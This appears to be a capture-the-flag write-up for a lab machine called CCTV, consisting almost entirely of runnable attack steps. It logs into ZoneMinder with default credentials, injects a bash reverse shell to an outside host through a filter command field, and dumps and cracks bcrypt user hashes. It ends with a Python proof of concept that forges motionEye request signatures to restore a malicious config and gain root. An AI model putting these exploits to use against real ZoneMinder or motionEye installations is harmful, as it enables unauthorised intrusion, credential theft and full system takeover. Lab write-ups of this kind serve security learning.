CCTV
CCTV
1/ Recon
1.1 Port scan
1
2
3
4
5
6
nmap -sC -sV 10.129.1.208
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu
80/tcp open http Apache httpd 2.4.58
1.2 Add host entry
1
echo '10.129.1.208 cctv.htb' | sudo tee -a /etc/hosts
2/ Web App Discovery
1
2
3
4
5
6
7
8
9
10
11
curl -s -c /tmp/cctv.cookie http://cctv.htb/zm/ > /tmp/login.html
csrf=$(rg -o "name='__csrf_magic' value=\"[^\"]+\"" /tmp/login.html | sed 's/.*value="//;s/"$//')
curl -s -b /tmp/cctv.cookie -c /tmp/cctv.cookie \
-d "__csrf_magic=$csrf&action=login&view=login&username=admin&password=admin" \
'http://cctv.htb/zm/?view=login' > /tmp/post_login.html
v1.37.63
canEdit["Events"] = true;
canEdit["System"] = false;
var user = {"Id":3,"Username":"admin", ... "System":"View", ...}
3/ Foothold via ZoneMinder Filter Command Execution
3.1 Create a camera source
Create a test frame and MJPEG server:
1
curl -sL 'https://placehold.co/640x480/jpg?text=CAM' -o /tmp/frame.jpg
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/env python3
# /tmp/mjpeg_server2.py
from http.server import BaseHTTPRequestHandler, HTTPServer
import time
with open('/tmp/frame.jpg','rb') as f:
FRAME=f.read()
class H(BaseHTTPRequestHandler):
def do_GET(self):
if self.path.startswith('/mjpeg'):
self.send_response(200)
self.send_header('Cache-Control','no-cache')
self.send_header('Pragma','no-cache')
self.send_header('Connection','close')
self.send_header('Content-Type','multipart/x-mixed-replace; boundary=frame')
self.end_headers()
try:
while True:
self.wfile.write(b'--frame\r\n')
self.wfile.write(b'Content-Type: image/jpeg\r\n')
self.wfile.write(f'Content-Length: {len(FRAME)}\r\n\r\n'.encode())
self.wfile.write(FRAME)
self.wfile.write(b'\r\n')
self.wfile.flush()
time.sleep(0.2)
except Exception:
pass
else:
self.send_response(200)
self.send_header('Content-Type','image/jpeg')
self.send_header('Content-Length',str(len(FRAME)))
self.end_headers()
self.wfile.write(FRAME)
def log_message(self, fmt, *args):
pass
HTTPServer(('0.0.0.0',8002),H).serve_forever()
Run:
1
python3 /tmp/mjpeg_server2.py
3.2 Create ZoneMinder monitor pointing to attacker MJPEG
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
csrf=$(curl -s -b /tmp/cctv.cookie 'http://cctv.htb/zm/index.php?view=monitor&tab=general' \
| rg -o "name='__csrf_magic' value=\"[^\"]+\"" | sed 's/.*value="//;s/"$//')
curl -s -b /tmp/cctv.cookie -c /tmp/cctv.cookie -X POST \
'http://cctv.htb/zm/index.php?view=monitor&tab=general' \
--data-urlencode "__csrf_magic=$csrf" \
--data-urlencode 'action=Save' \
--data-urlencode 'newMonitor[Name]=webmon' \
--data-urlencode 'newMonitor[Type]=Ffmpeg' \
--data-urlencode 'newMonitor[Function]=Record' \
--data-urlencode 'newMonitor[Enabled]=1' \
--data-urlencode 'newMonitor[Method]=rtpRtsp' \
--data-urlencode 'newMonitor[Path]=http://10.10.14.98:8002/mjpeg' \
--data-urlencode 'newMonitor[Width]=640' \
--data-urlencode 'newMonitor[Height]=480'
3.3 Trigger filter command execution
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
nc -lvnp 4445
csrf=$(curl -s -b /tmp/cctv.cookie 'http://cctv.htb/zm/index.php?view=filter&Id=8' \
| rg -o "name='__csrf_magic' value=\"[^\"]+\"" | sed 's/.*value="//;s/"$//')
curl -s -b /tmp/cctv.cookie -c /tmp/cctv.cookie -X POST \
'http://cctv.htb/zm/index.php?view=filter&Id=8' \
--data-urlencode "__csrf_magic=$csrf" \
--data-urlencode 'action=execute' \
--data-urlencode 'object=filter' \
--data-urlencode 'filter[Name]=exec_filter' \
--data-urlencode 'filter[UserId]=3' \
--data-urlencode 'filter[Query][terms][0][attr]=MonitorId' \
--data-urlencode 'filter[Query][terms][0][op]=='
--data-urlencode 'filter[Query][terms][0][val]=1' \
--data-urlencode 'filter[Query][sort_field]=StartDateTime' \
--data-urlencode 'filter[Query][sort_asc]=1' \
--data-urlencode 'filter[Query][skip_locked]=0' \
--data-urlencode 'filter[Query][limit]=0' \
--data-urlencode 'filter[AutoExecute]=1' \
--data-urlencode "filter[AutoExecuteCmd]=bash -c 'bash -i >& /dev/tcp/10.10.14.98/4445 0>&1'" \
--data-urlencode 'filter[ExecuteInterval]=1'
Connection received on 10.129.1.208 38958
bash: cannot set terminal process group (1527): Inappropriate ioctl for device
bash: no job control in this shell
www-data@cctv:/var/cache/zoneminder/events$
4/ Post-Exploitation as www-data
Extract DB creds from ZoneMinder config:
1
cat /etc/zm/zm.conf | egrep 'ZM_DB_(HOST|NAME|USER|PASS)'
Dump ZoneMinder users:
1
2
3
4
5
6
7
8
9
mysql -uzmuser -pzmpass -D zm -e 'select Id,Username,Password from Users;'
+----+------------+--------------------------------------------------------------+
| Id | Username | Password |
+----+------------+--------------------------------------------------------------+
| 1 | superadmin | $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm |
| 2 | mark | $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG. |
| 3 | admin | $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m |
+----+------------+--------------------------------------------------------------+
5/ Crack mark Password and SSH
1
2
3
4
5
6
7
8
9
10
cat > /tmp/zm_hashes.txt << 'EOF'
superadmin:$2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
mark:$2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
admin:$2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
EOF
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt /tmp/zm_hashes.txt
john --show --format=bcrypt /tmp/zm_hashes.txt
mark:???
Login as mark:
1
ssh mark@10.129.1.208
6/ Discover Local motionEye Attack Surface
As mark, inspect local services:
1
2
3
4
5
6
7
8
9
ss -ltnp
systemctl list-units --type=service --all | grep -i motion
motionEye config:
cat /etc/motioneye/motion.conf
# @admin_username admin
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
Unauthenticated local API exposure evidence:
1
2
3
4
5
6
7
8
9
10
curl -s -i http://127.0.0.1:8765/config/list/ | head -n 12
curl -s -i -X POST http://127.0.0.1:8765/action/1/lock/ | head -n 12
HTTP/1.1 200 OK
Server: motionEye/0.43.1b4
...
{"cameras":[...,"actions":["lock","snapshot"]]}
HTTP/1.1 200 OK
Server: motionEye/0.43.1b4
7/ Root Escalation PoC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#!/usr/bin/env python3
# motioneye_root_poc.py
import io
import os
import re
import tarfile
import hashlib
import urllib.parse
import requests
import time
BASE = "http://127.0.0.1:8765"
KEY = "989c5a8ee87a0e9521ec81a79187d162109282f0"
SIGN_RE = re.compile(r'[^a-zA-Z0-9/?_.=&{}\[\]":, -]')
def sign(method, path, body, key):
parts = list(urllib.parse.urlsplit(path))
query = [q for q in urllib.parse.parse_qsl(parts[3], keep_blank_values=True) if q[0] != "_signature"]
query.sort(key=lambda x: x[0])
query = [(n, urllib.parse.quote(v, safe="!'()*~")) for (n, v) in query]
parts[0] = ""
parts[1] = ""
parts[3] = "&".join([f"{n}={v}" for n, v in query])
path = urllib.parse.urlunsplit(parts)
path = SIGN_RE.sub("-", path)
key = SIGN_RE.sub("-", key)
try:
body_str = body.decode("utf-8") if isinstance(body, (bytes, bytearray)) else str(body)
except Exception:
body_str = ""
if body_str.startswith("---"):
body_str = ""
body_str = SIGN_RE.sub("-", body_str)
raw = f"{method}:{path}:{body_str}:{key}"
return hashlib.sha1(raw.encode()).hexdigest().lower()
payload = """#!/bin/bash
id > /tmp/action_id.txt
cp /home/sa_mark/user.txt /tmp/user.txt
cp /root/root.txt /tmp/root.txt
chmod 644 /tmp/action_id.txt /tmp/user.txt /tmp/root.txt
"""
buf = io.BytesIO()
with tarfile.open(fileobj=buf, mode="w:gz") as t:
ti = tarfile.TarInfo("lock_1")
data = payload.encode()
ti.size = len(data)
ti.mode = 0o755
t.addfile(ti, io.BytesIO(data))
blob = buf.getvalue()
boundary = "-rootboundary"
body = (
f"--{boundary}\r\n"
'Content-Disposition: form-data; name="files"; filename="cfg.tar.gz"\r\n'
"Content-Type: application/gzip\r\n\r\n"
).encode() + blob + f"\r\n--{boundary}--\r\n".encode()
path = "/config/restore/?_username=admin"
sig = sign("POST", path, body, KEY)
url = f"{BASE}{path}&_signature={sig}"
r = requests.post(url, data=body, headers={"Content-Type": f"multipart/form-data; boundary={boundary}"}, timeout=15)
print("restore:", r.status_code, r.text)
r = requests.post(f"{BASE}/action/1/lock/", timeout=10)
print("trigger:", r.status_code, r.text)
time.sleep(1)
for p in ["/tmp/action_id.txt", "/tmp/user.txt", "/tmp/root.txt"]:
print(p, "exists=", os.path.exists(p))
if os.path.exists(p):
print(open(p).read().strip())
1
2
3
4
5
6
7
python3 motioneye_root_poc.py
restore 200 {"ok": true, "reboot": false}
trigger 200
/tmp/action_id.txt exists= True
uid=0(root) gid=0(root) groups=0(root)
